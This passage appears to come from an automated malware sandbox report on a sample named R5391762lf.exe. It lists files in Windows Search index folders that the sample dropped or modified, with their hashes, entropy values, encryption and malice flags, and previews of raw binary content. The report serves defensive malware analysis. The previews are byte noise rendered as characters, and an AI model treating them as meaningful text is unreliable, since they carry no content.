Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1124845
Entropy (8bit):	6.544421490311907
Encrypted:	false
SSDEEP:	24576:tLTQltEYfoyFxz8GfoLr7YfoyFxz8GGkja:VQltnf1xz8GfMwf1xz8GU
MD5:	A3FB7929815147B57C26E95B93206059
SHA1:	5E08A6F3E4E84BDD2ABD20C606C711930F12A1F8
SHA-256:	557D3143E50180E22096ED17E6D1EB822C100704A175FA715E97D7D3C16D8C75
SHA-512:	AC31766B34E3DC19E5ABFFB0E5626E3AFBFD293D79BB2C874C888CD333558C20E07E25DAC312407559B4BAD98C78040790F721B898EB3CE5F28BDCC7B538D056
Malicious:	false
Preview:	Ej..D...H..d....=....W....e....(r.c,....5.....^.,s\|.z..?..`.....'......\|L.@..].%.9.._.^<[..u.W.......:s&...B......8..iu.........,...~..s.....o.....0......D.EX..o...<.o.-....A....4..(.!u..M....h..Y. V.y.s....e....D....(hE6..o.]_.k.sF.N:)....~4hf..E...Xd....1...3...g1N....%I.;.....Y.Q4U......&..V......8.Im..4.e..V.DE.6...X..h._Z6=...d....M.W=c..]y......=iSuQ.@.0D..vC8.uW..........0[}_...].[..l.5i..9..bsJ..Q...C..R.(}..L..c.p....n@..KY..X..;l.....a.d..k........5`C...oA.n....IW...Pt.u...t...o.......PHp...[..3`...em.wJ<\|)...<v...Px~K.....7+..Z...n.J..v..2"B......t...{.....~.i....(Cl.....+}(...b.2.X...1]m..E..:k...............9...5....N.....vx.!....xO......k.,xh[a...}pa.Z....Y.K.#..n./..%......2.. .`.aP.....\|......4.CG.gA....^.^.b........-)P....l.Xl....=..T+..../.8G..D.@.Z...A..[.q.h^.O..C.a....W.S.u.r.n...99..Q.3..S..\|W.;ln.,0.........UQ.zl..rmWrex..U;..}...w.Htw......?`.....4...V%.y.q.EI[...T..:...e>...1<.!).2.j..z..\\|..9b.C-.q.dW..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{fe191046-14e8-4e49-a1f5-f429b2cab500}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	37506
Entropy (8bit):	7.99494323524654
Encrypted:	true
SSDEEP:	768:ekzrtRbel9WrGRh6QIO18GFkbGWrR9iLLEv9CKchQKkzFutFzkiSlYQC:1ZhQW8Lp1vk1rTiLYVCKcbTttmxC
MD5:	88D3414318FEBA946317AFE2E0E65466
SHA1:	6469D727C27BC9C405A0325032AA4C591205D691
SHA-256:	80BD46CA4FFA6A0A8C1CCDFD8BFE78310E04E20763C66A5FAF9FB5B75DC93F83
SHA-512:	16041D39C7CBF1F84637779D5F106B408A3F53F76F46CFDD32C6A551839443FC45046B7209BA90E63D1CF13170E7A25517847099BD85E15143BF7C0D2F6EDB5F
Malicious:	true
Preview:	0.0......Wx..$Ea....C. .My1.......zf.#Q..EB..r..&.....B.G.l/....K.E1"p..o..-.I ...UD`.@5...2l..4K.^..4...$Y...CB....}W..DR...!8Cvf.I.........L..@.k._.c$.....i.d...>..K..x.../.....4..mJ.["..)....BK.N.o...w.....FP.A...s.!p...T.<..RA.z`....k........q/@.....5......,m....C(..4W.I..K.$...e.y..s..".).(...=..B.A.......E$..+........Nj5.eB4.~.jO..Z.h.....S......FD..!...'.l.....y..m..TX69k\....5..-..6._..r!.Ba......#....C{q..u..2....2+..9...e.#..L"....N."1.I.9V>-..a......d"...9I....i.C.....<..w...` \EdK...=..........n..o.4..rk.=..&...5..F]O&oL..h\..j.o3&.$.B\|......Xu.)...C......HxU.......!U...T...g..c..jr.j^.RV..P.b.k.9.#...PT.o.~u..G._..S..s..S.T....L.uI..o.S".(....EE]\|..4.s..V.g.T....j...y$....:../..}.".^......#.%p^.......$...........\".=.tL.Ch.hi&.,`.d..\|j...t..-.......:../..o..T..b.9V.5..'.\|..7......m-.A..0%p..R.z....*.B.c...."...._..<+.J.T.A)..U...F....[+^Q..6.8l..I.K..S....0w.A..\..C...l......U.k1uie}....(}......&,.@ .J...tt....%.x.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{fe191046-14e8-4e49-a1f5-f429b2cab500}\Apps.ft

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	50409
Entropy (8bit):	7.996254309833538
Encrypted:	true
SSDEEP:	1536:xQ+Jg6bwwnEnbuEHtBCI7wLPxgPcPKjWVy2qOq:rg6sDHt3y5gPcP4R2Vq
MD5:	D9EB85B1FB017F57B2CE96E9D6A73807
SHA1:	27CDEE9DD6344E533EF64EE8F9295B35E644DB64
SHA-256:	357D125C21E95D89C277AE8D37F9E994E0B4EE24A6D47CE7FC4E79490939142B
SHA-512:	3AA78F49BE1ADDD966AB6C036AA035E48BA5DEA867FCF571CE63FF63880C56F631867647FC8671CA98BA07AF15B761DC72C30B9940E425852E13AADD38C63510
Malicious:	true
Preview:	.....s...$4.>.s\|'!.4h9...V.]s.\|Uv ...J....$..de6K....C#.t/m...8..!#.9....=.ND..p..v..r..)..zV.....0.9g\8.I.....rV..D...J..Q..-$n..O....Z../...,S..I6.................Ot...0.C...e.HK.......I..j......(B..r.H~8...L.....t.T........}...g....a.....Y..'UKb.2....}s......'.S...e?c..P..k......4T....L.....)..4Wc.!....oo...e.d[...;...Y.x.f.p..;nWj.M1.YWA...Ke+R..S.>w.!...N....~......X....+P-.\.P=..M.~tu....`.._}y.i.uH4m]0..T.^...........)i......"..........FM\....~.T....Wj#8P......%.J9zh....[...............i)l.9....j9......}8.(.e...n.........2.+@.3/(.0..@.k........BS..!......@..6...SJ..e..YDY....l..`....@...T......)S.S.?b..K.U.7...\..._...b........<.a.....:G......C..~......e......}e...Z...z...x.. ..?..=..B.@ :C...Q.tz..u.>.Rr...9v.lK?/.[..~..D....d.6T....Zv.....o.$..G".....Q......r..N.E..w.oR.:........-7...Wf#...@m.......$x.M.. ....oW...B...0a.r......h..a........(.#{.....T,}g..{.~.o.,E....l..)t.D....O F.....,r...&..h2.GC(p.......yI. 8.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{fe191046-14e8-4e49-a1f5-f429b2cab500}\Apps.index

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1124845
Entropy (8bit):	6.5455354784573405
Encrypted:	false
SSDEEP:	24576:TA1hpf1TZYfoyFxz8GfoLr7YfoyFxz8GGkjE:T6vTef1xz8GfMwf1xz8GS
MD5:	54FF8376207DADDBDD1A66DE1710A463
SHA1:	B85C656477959C0981A1D984A6C9315C5A287EA1
SHA-256:	82DC423F816F2E9EC80CB659C4B09A8D9A623BFC7C4B40779A1006C1F09C0996
SHA-512:	6A07FB51C6FCDD80CD5BA82119CF71266A190AE61991ADD9126AE62C88A7B9B3D976E7A033CE2B04B0CCE03A24CE7F581CB669D2A032449E2E2014F98C402CC9
Malicious:	false
Preview:	Ej..Db.{5..D..^.~.j.....".a.FO.......^..?_k..={._I?.....={%.4....2&.2`..o..m.K..../.N{..r ....h.Tu.......FUyT....!."D\.=.WDw.."\|.\|W.E..Tpv..V..>.3.`u..G...sNP....;.\|8..`..y.e.&.:G..o@f......O.`{...:{A[uG.7...t.....9.@...j....(..ds...'.(..[2...(.<l-.v.[0.R....p........I.G..........T.....T...."..>.y&.l'.`[.....WbHT.Bo...\(J.m...`,.uB.'.6..F.i.'..6.gd..._...m.)..z..c6..._.7d.BM..>S^...l..L....v4....q.o....$.k.z>O\|.W....<..#.uC....8{3.....n...._`V....7......yP/..am...F....%...N..S............7..Q..n..d..k..S.....l......?..jK.\..hw)...M.nO......W^.`.~?.....K..."..p...).......W...C....g....C.g..z...fv;..bRX.\|J.w....9...Z8.m..bvt\..../(.....9.ox=k.......-...gOj.a.F4.....K.k.N;.L.1w6....J....@....U...Q..+.....`.c eKA....W..[YB.N...=x[......H9......d......V..;.E..r..P..G....e........&...........c.d5.....8.\|0J.....8\|o..Z........._..U....L:E:..2.. .g\|..H.#.......u.......j...r}]N.....B+#..C.t!7.9.EF..:..f..!f;D.o.y.....X.#. .'..Z~'..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{764e754d-fbdd-43df-9a27-cbb01dbf5078}\apps.csg

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	778
Entropy (8bit):	7.718293842423666
Encrypted:	false
SSDEEP:	24:v/vVOOUmaM2cbKqN0h9Wou6OuRXq8uWbD:XvVTSKN4OuRXFuED
MD5:	FEE7BE1F1DEA98ADC0FAB1031C3141FE
SHA1:	939A5B3F603E1CF486CB97C983A4A827D24F5ECD
SHA-256:	3613A6378F85C4EF25FEFE124A2B48E8E6906A5A906471CB10DF0D5913827A4C
SHA-512:	F880ACDDD6FAEBCD33D8381CB934966E93377A6731EB774968B6EDE597104A98BBFA0EFF7DF3080732EB79D3F437982A698EDE02B57DEA981454A681665DD968
Malicious:	false
Preview:	........L.....<./.!.........M..4\........&.L.# ....[..#.t !........3..y5..k..).a.sk\| =.....BT.U......,F..S._.../.S5&P.M..+u.n.\|p..,.).....x....H...].J.....H[......W...qS,.<..^....hs.....\.5.N..'Z.nFj[..C..m.q..7hp.F.....rZ&.....v....>U&..'..Mi..Jh....=.a3%.D.%R>V.....).\|..<tTT..A,.}....#4.......+!..s.U..y/..2...:.....OJ.@.c...x.@.I.S.p..Z.y&...D$<.......-.......ZN-...z...Ix.{..e....I.7a...<e.i..M..R94\|.8.+....h..i.W.....%.- }".....07^..y..O.......FQ.....H....Q...5.x.`...e.dZ..._..H.,..@.....KT.......,...).d8.z.9vY@......,.G......0.c........p.....[b..;w..+.<.G%.D.6.p....F..I..x......&.r.RgZ.H.A......&.P...i...2n..B12.l..R..%.sN..^.e.".a.d.i.H..?..Kk}...s0doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{764e754d-fbdd-43df-9a27-cbb01dbf5078}\apps.schema

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	484
Entropy (8bit):	7.517866636504502
Encrypted:	false
SSDEEP:	12:jB9BdXz9B6qetqZil1uPZaGagxov3hrP6OsLL/jtzkC6/heUQj1DGfdwXqOTuWcq:jBJj9etUukPZIYov3hWOwL/jtzkj5eDD
MD5:	79BF1C37EF3DB8A0E95545D45197145F
SHA1:	F9DDCF881BE501B26450721DC36AC3F8AD492731
SHA-256:	54CE4E453CB7821FA10735FA2EFC1DEAD9F554C30BAC8B5315EB8B74864BB46F
SHA-512:	86BDFC30209A9D2D7D7F7AEE000F52AF4D2C5B0070A29486098E85CF6679E9BEB0ACC0F56B2A180010DFC33245B6FDA2F0D124EE826B55F47785898E21EAB4C5
Malicious:	false
Preview:	Windo.. %.G.5....l.....I.^.vT.e....Y..E.Z>.l...M)./.L...~...(S...kr.....'....k.e......H...Y........u,@O....`.....E.H.&..........(b..&.n...d\..G.........$G%3.2]...O0.[........^8..WQ.17;..qu.2.....5.b.?.%.#.......M....kn....q..F.....G.bk"..M.........`.1&..QyYdpMo.fz9sd..u%5..bn......md....._..c;D*.....=.Z...pM..8....3.iA..R?.M......qv..cE..+..k.A.....&..wa...x8...xy.F..%.dy.$.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{764e754d-fbdd-43df-9a27-cbb01dbf5078}\appsconversions.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1426236
Entropy (8bit):	5.415454171347468
Encrypted:	false
SSDEEP:	24576:Eoaore5Mjdr9yEKzC79ufKZDXkmn63mlDEyjMo:cor6MVD4g
MD5:	586F4242FA523F1115AF029F7EF2AE4B
SHA1:	F28702EB6C4ACB927CEE3E79D994B9C1939B4B0A
SHA-256:	C599FE3447CAB55B51CCD1F26A8273B70ACC7F829191C100DE45241D5756FCA6
SHA-512:	7B01BE20BA960CA1FEE07709E7BB8488420B322AB8D8EA926B63442B56CC9119848FC630BC3C632E494B187499B4AFD182989D3B001897AC7EFAC373E8ACD747
Malicious:	false
Preview:	markeE}..C1..e..i.<.2...\|.Eg....g.j.g.\|v.......3[..P..R...c...D^0.-..K..{.1^...P@....@dkY..?U..tE.VJ'..n...Q.aU.7v+F..P......qu.....&.........Eu.P.-....A.V...?x...X.m.kb'V.t?..o B.lb\./-a.f.....\|.I...N.gT..?.b...!O...4....V.9..0....LsV...uv.,R.".83.3.....\ ./.}..w.6....t..9..&'.\.._..t+.L..U......N..l...b.;Sn~........#......HrGz,...=.`....sYW...S@.8...$u...o'.\5.^....w.].....;J..\|..2..Z.F........%..hc7.".s....k.....71..[U.]H...a.69...9N..P..?....D.#...8....GS..r...,....<..Z.3.s&.......&3/.`S...;.......N_.j...~+.;(Q57..&..Wd.....JD.V</Q..?.'..3.t..k.?#c.........>.6.\.8Al[.-{...y..v&.s.eM......3W....6d.E./^.V..~........_..S....PXUg.xU..].I?_.D....1[=5.'d..S9Md...ype2,\|`.....w.I.0....z...1..c...~...w@C.e.b..b..N..6...1.^.......i..@m?.....GF.b..=.Y....N".ih./b.]........?...........cFGTc.7...<........&....>v...(...!d..+8..B.k8.l......<m.RS.w.'.......n@.j...e..+.o.`.c..0.C[tt....R..[.\..9..&k#n..SK...hT.R`......W.o&..i..!.>....`

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{764e754d-fbdd-43df-9a27-cbb01dbf5078}\appsglobals.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	352062
Entropy (8bit):	7.228299217954975
Encrypted:	false
SSDEEP:	6144:enjmrsqyjoXwXpNvMda93zI4SxnSQ1YL6hB5PsqCf/:eCrsDjO2p+Q4xnjmqi/
MD5:	065EFC01E182D9DC325B8BD89CE7B436
SHA1:	AFA355E14837733941A0C98FC279163589142441
SHA-256:	55416BF726E0AFDCDB62D499F8EA44B4CF143FE70D7BA970989509091F4D55CD
SHA-512:	26F6C8017390E8AD4FD25AACF9CAF0935FA02FFCC162F6A7D74357C9DFD9CC0FDDCC06F68A6F080BD1823E023FB1B73E67B3716B684B65CFF4FE9DE77445F1A4
Malicious:	true
Preview:	{1AC1+...t.d......Rg....t..p_&.+.0.D.).2.W....Q=..?.PJ-.......W...0./.XMe.%..M...d...8_..7FrAx..<.R.I8.mt.G......PQr..h.NM...".......G....@...'.C=1},....4..KU.5..4.(.....T.&D.w.q...........%.b..@..Uc....5.A...D.\.;......A...yEZ.e.?....(N.Y.^MJ.!.uf.4.9nn.s..U..-...}.F...EKm..[......>..u.g$L.n7..l!.j.j.7.....g.c........(.QJ#:%..N....fDj...nx(.~..1\..=s.i=<.(.2..3..=..f..q.+..9w.Z&......D.K.b..a....v.n.k63..>..+.b.'.d@B.1.d.F. ..I+6\|.~.C...[M.cm....... .~2,\|....0........S4.^.k.i..+.J4.y.q__`"...h(8...R..N.3............?._..s....~....J....k..4I......................f.?`..P....? .$X.....q...H...........D.....x.....B..T.."..$.a.g....[....k...F.lh.g5~.......;n.B.[..4.=..ah4?.~^.c.=K}R.1..M.>8....v........X~.\|[p..X}.r..d..h^Cv...3H-\.V.xJr...].......m.e.2U..K0..Idu2..g..c4.;...WMv..2.k@..o....#...8...".I..........,.X.......I..W..0+..}.1I.N....3.........~4.^.ZJSS,.....k........."p,k...n..D..b...7GKt0e,.~..E..Q{.W....%..+.`.k..y.P......$........I

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{764e754d-fbdd-43df-9a27-cbb01dbf5078}\appssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	243828
Entropy (8bit):	7.510945387066647
Encrypted:	false
SSDEEP:	3072:MdT03QHIY4Zyo4sj2k1OiHc+JI0hW6YtWdB5+vukoQws+zCmTXFePKR:F7BkeKk1N9JI0YiFQwLCyXFePKR
MD5:	8A65C39C0EC96EC40E242C7EAC29DF33
SHA1:	D7C0295261E8880E2BF069970A4D902530ED10DB
SHA-256:	84A73ED7992AF35D66EF844FDC4381AACB873DA84ED695F12B3F818F0B6703BC
SHA-512:	CFEDCF1E42A29DDE386DFBA7FC76CEDD6533BEC9FDF5F27CDE814B40CAEA84F3F873D02221B6E6BE2434AE2B11D96CD93D289D65530EED0EFC46E4268B66AE34
Malicious:	false
Preview:	\|.\|#.A.T0..k....cN...Y.......e\|31._..C`.~..=C.!.s......z..q..ZG<.v!..}...n ...RwQS.....=......~d"..mP^...`w.j.....:_.u'.i..T.kA./)v..^~}...=..\,uS~".o:?.e..eM...T..H.[d.9....._...o..7.x.._..K...B.P..D....4..CCm..%.F..)..H.....#;S?^......>..\..\|.y~..S...5r.f.TR....Q..R.R.........Q.~~.....U......cw.z....\|.....tB.l.'..5Z.WD.4.h....KR-.D.7q?(v.../._.~..!..[.>..X+.y...l#...T..@\|.cz...'2D$.....5J.<....b..o..s....Q...O.Qs..t....'...Z..x.F/.. .)_$.>...mO\\.L....... ./-.\r..H.#9.C....R.#.P...YV...1.:.Y%$...[...l3H.._.H.V..={..S...c.7.....\.0..h.+..1...#..8iF;....{F...3j.E.......xB;.<.....rB..m...l../.\|NV....W.'#AR..b.OB.1.^.e..0E..'..,..]0{......t.#0.M.8...p.....CH.T....w..".1\|G.@.u....~.....r.+..j.M.Ep......Ip.3...g(..~+.-N.9.s.......~U..}#....q!.J.. J.V..k.B.../....{.cC...F.D.?V.*al.t...d)Z}.......h.=.(a_b:.V."3.....B1.....c..,4.._......<...a?.7...3)....I....FVa.B...a.p.........>..cv..A..[...5v..)yAX.-H......&....%..$..?.....u...K].

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{764e754d-fbdd-43df-9a27-cbb01dbf5078}\settings.csg

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	788
Entropy (8bit):	7.706341442747425
Encrypted:	false
SSDEEP:	24:gOaEdHal+bqR1Mkp7cL/biR97MvMms33qLXXy93TXq8uWbD:gO1a+qRfoPK94I30XyNTXFuED
MD5:	485731E410887A74BCD682F0195CE89C
SHA1:	CC8EC5673548124E4F21CCC1C003B126B2F592A8
SHA-256:	901D0260A265D4CAB6B81C89917DBE30C7ABF2D1794ED387A77AD76D7770C560
SHA-512:	8F818F8445EA4531BA0BD28504014825DEEE3A818C60BE8A9EE848EE09E78A61B2BF13197B8E3CC8597334EDE1196446BC57FD8DE70938D6639C0C757939820A
Malicious:	false
Preview:	.....u..?8..6.k..Z.4....F...V.y`>.....;.+...m.d.G.a..\.@N!.3}.G,..Y."..czD.p.va..S1..zal1....1.p..1tcDNX2...P=dr\|...`..O1..k[+%.O.?.....#....9C.....{ptvy.$u......O.\..\|..xb]...N2i.2+..^..y......3..@`..bK.E.O.\|>.mi..... ....V}.....k...]....r.[K`.x.}x.j....p.%.gm,8 8..:..wf..t.:.V.p.w#.....//.;.Z<x.I..5......x7...&..f.`E...S6Y....M..6G....t.b\|.\.x.".$R..3z...>.?@.Wn..J....s..l....$..X..NV..U@.)...c..-...=....%@...N}..iY......).i.O.P...^..DZa{ehX..c4g...h........H.....~Q...@`.L..(.v..Y?-.(j..:j.L...<c..1Ez....ts........?]).,............Pu.3.,.z.}.x3.<o.h]9...?...>..}..v.mv.....+p.JA_l.9[.Z..h.1....<..^...4..:..`@....`_....M.Cc!......s(.;2.........z...S?..3s...<T..;q..(.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{764e754d-fbdd-43df-9a27-cbb01dbf5078}\settings.schema

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	496
Entropy (8bit):	7.48458372911478
Encrypted:	false
SSDEEP:	12:jBA3oYuOGNT1/J9DOp9Q3MNs+7JqgAuAOge+4UNwXqOTuWcii9a:jBA371OT9J0p9KUMiCNNwXq8uWbD
MD5:	574DA1888BF28C4345922467F13F7E0E
SHA1:	1D5271E9FB51DDE351F9010BDF0B68A79EECFB28
SHA-256:	EACAA412DA02AF936614AFA51BC3D21B40C130513FC33BC976DB605C914FD723
SHA-512:	93FEF47F7E9F4733ECBB5B0B3D7D0E81B87B2B2F3860E1460A806746984AD646D45E10EBBD9E56DAEDA7851923C89C3CC43C1FDB1B9E59B271A901FE766C3DE6
Malicious:	false
Preview:	Windo.3Q..61.!COQfQz.RS...G:....d..S<v....R...R....$~.e.u...^a..6...0" ...A......T.l.K..3...^.R....J.(........?.8..,.?..Q ..m.4.m..Ugv.#Z....].g)V.m...>.%...@../J.....7..7.5.&:.b.V]...6...........qk.~...<..,....*.......T....%...]...m..0.7G..!Q...%b..(..J[...$.J........C.{..o...\|.V.k....%y@.z...gI..p.e...j...\.P._u+.x.....p.F....l..Y...1.W4.q.....f].Nl.%.2...}.'...h@............B..(.L..nH...)s.c.U.#Pdoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{764e754d-fbdd-43df-9a27-cbb01dbf5078}\settingsconversions.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	533084
Entropy (8bit):	6.255231327699276
Encrypted:	false
SSDEEP:	12288:MlTqAkfbKanbxjiuTsP583eAMwQknzBcx:MhGfbreG45epZA
MD5:	D82E57ADDF0948505DC4FEDAC46741DB
SHA1:	6607FAF3F02AF6F83B03137AF01DC77059751505
SHA-256:	DF5A366EC41887872DF1F8B4CB8B35CEBB8292A0C131869707BA85DB1AF132B3
SHA-512:	1ABD93B040C8D34E153BFF6C9A245DE36A9EA05AC54D8C62AA65D3FBF3D65C3E3DCB82AE178CF9F3835DF7DCF99A784AE99763E5A7872E7615EE214017AB8F6F
Malicious:	false
Preview:	marke..x.@n.....O.E.u... 0.......8.{...)e........5...$.nm....f<.....3b....A.6J.X..ebw...pZ_\..~.2....?............X5...F...z;.9R....].-i#..j...............:.k....v.7btZ.%B.V..o.kGJ....h&...~....O...#qp..9I.B.Dk..............%c.j).....2....i.W...I.aWgS.....JJ..M..{....j..w"0..Mz...L]..(...y.._%;.m....b?..\..A..3..../....gv...y.....X1?y......<.._.u..Z.m9..o.a.T...`....T(e.K...T<.A\ ...E...M...........6..wi...tLjW..[k..#(j..(...$..#u3v.{.O<.'..[h[.p.Y....>.....o.:.#-. ..<%.1.R...E....[c.'.14..U.h@...\N....}...c.+G...t,.x@..K.m....Y.....2ViC.I...$.U.q.q.....rh..K.....fD.WV....>.......b.. ..t....yX...Gn....o...Y..e....`?.(......W.Tv..u...s(`....Yn..!...4CD......nZ..@...k.~..se........2.h6S....1.?...]..>......A-....e@}...CBl.....L..l.-......y......).{#...+.0E..&..M...&t..w.2.\.&1.....{...}.. ..}.........B.G..KQZ.YO...4m:....o.).b..;..p.f.vAw}..q...O..`.%...H~..Y-r...0..(.....e.w>.:..I........x......G~..w..4.-..U.Yv......r..o....Z....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{764e754d-fbdd-43df-9a27-cbb01dbf5078}\settingsglobals.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	44833
Entropy (8bit):	7.996034979149672
Encrypted:	true
SSDEEP:	768:QHpRWaDwPutsA/oej5O0ZmIcdMinNZSB8FXG2z1AmUufQqXpeA1Z:0Hhj8E9CMUNZhJz1AIffXpd
MD5:	90C9DCA64006EC2E3C5154BC18BDBBDC
SHA1:	A6B6D943A62248B9652AAC6967BC9D325AEDB5ED
SHA-256:	F2EB5AB60404D7683F9ACB6F1A566B0DEE475D4E3AE57EB232921568BB8DD681
SHA-512:	2B34CD9449ADA9BFC29999C7CEF1FB98C9E1C1B5F73D0E6AE964A7477BD1F3DA066FC06D6482054FCD2BC149EE9D1E583D9E0E8148FB5687C9B7C1A745952590
Malicious:	true
Preview:	AAA_S.h..00.u..>.(..(.........3j...da'5.....".k....2.....P.......W.,.o=...3O6..t..O..(".S.-i...Q.h.>7...J.&GY....#.cO..'..../..2R...a..uG....K....=..e>.0...<..........bK....C.aGB..~<......y...6!.....5.Yk...l...%i..C.....x~agUA......./..?/\|.%..&.a..p.......8.=.J.............D.8.8..L...+..7J...D......&.Avz....j...8.$........&.1..1..hsVS....8.#...Y.f.P..y.....XRx.z.F0....V-.....'.G.Da...N..9.F?V4.?.......<4.......".}...E..Il...s....3C...LN.....\|Vu....}....^>....;.e....."...MC..... <iIl. .]..&.{......4..v'.Zv...k/iF........?..;...jv....."}NU.A..7.5.9'b...C..x...jt.f.....z....fT]<v.V.........Q.M..cd.2T.k .^.f.....X#.F.4..........VnS..x......4....h6...f...I.{.P..N...b\|P..4..G....F....b._~...i.....k..O.R...2.}..Lb...b.....Q...K.V0sc.\|Z..uu#o.....l.m%...v_.C_.3.$q..k........fP...i..Zi.f..._.................EYV...?..u].A\.~.xs........,....QO.....h.Uk...C.3)e. ]Wu.N..45...Mal.......`Z[. ..B..l\.....MP...4.:..".u.......6.*...:.;..........{.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{764e754d-fbdd-43df-9a27-cbb01dbf5078}\settingssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	104051
Entropy (8bit):	7.998316123024467
Encrypted:	true
SSDEEP:	3072:cTrr/916igxn1m6NXijuUSC2nK35uCCMPms:cLVAigF1m6kd2SEs
MD5:	07C0E362B42670AD428C934A3BB0142D
SHA1:	13DD97AB4DC58FD0C701301BEB2C7B5D060CC0D8
SHA-256:	1700568111F9B872217747F714C85A3006DE26386AE31354CE003FE89AA1B985
SHA-512:	74E1FECE4D82BBF8DA0723E81C2C48FA52DBB88ADD6A42380E6CA29DF31262996A8F5920B7AA1B168A9AC002E4A502D2BFBCB9727D59E40B7A7C5FD80DE509FA
Malicious:	true
Preview:	\|pri...4PV..e..a.....\.....\|u....D.1i,...-..b..a.?]i..<..g..Uh..r7.....-....?....LTw.]x.h6@.Z..1.m.f..G...p..(X...o.....q..[...;.}.[#.$..$5.".{2.k'.....NA....]:..uZ..#TK.j5..Y.-`w.......X..gn/Pi%......i..C.@...2...{...P2.Y..a...?...;r^.;0.P..\...K.x..4.h......w......<.$...C.f.keP.a...(D.Av(..D)P.._&.....ks.......J}.5q.d...".7...=..6.--.....~[!R....'........F.\.........I.3..u..b].n....{...z[m...<iaG..b..v.F%...c+...I.)V\|.GJ...8..>.D.sB.m.........../..F_K...!.........b.h..a..$.?c.!O......gUO.a.g.<."..l+e...E.$......5i.....8S.bk....^.F......D7......w.g.%....l1..EG.(............Xv..c.[}....v%ca..8."..-*.G..@..).?F.s....K)px..[.`..C..Z.x....2.i=..?..{xn...l...n.......#.do&..'..`...p.....O,..,h....]....j;..tM.y.../...[.....P..+..$...br......`_..\|...1Q..q..,..^..]o[,h.k......f....V.....V.9........E.V...>..tYM%P....u.YR.'".0^}.J.8P.l.).\|..}..H.....0..<....M..)...a....q1.r......\|.`.(Z......{kY..... .z#.dM.EC....eKV.....f7Ba.?>E.Z.......J....i`....q...&u,

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{7fa4f3cd-f899-4abc-9ee3-31954eeeae00}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	217852
Entropy (8bit):	7.587553346616922
Encrypted:	false
SSDEEP:	3072:ZaGJFEEZcjTaia/0jiZCSsTCk1cIVRMHO3UWwFClYaNWIphPiCBjCBsIcq0VRfHU:ZaGEMaxJzcIF3UWdaKLrjCxc81CdK
MD5:	B57F01E913150020092CAFE5D976D670
SHA1:	4CB76CA6B96E88A22E9FCA43C045E4F2CF18E1A8
SHA-256:	52A6BE207CB55524CDAC12749DF9C5C5997E76F3085FB4A91F2F5CCED2995B09
SHA-512:	C0533B94DAE08BB9CB0B6BC7EA87AF0C0E4EFC66180B32F5B84C7E104ADBDE56EE8ED00C2B7623353689A3DCBC3F71DEA9D7AE8F335DC1DE1FB7CE7D55C3B419
Malicious:	true
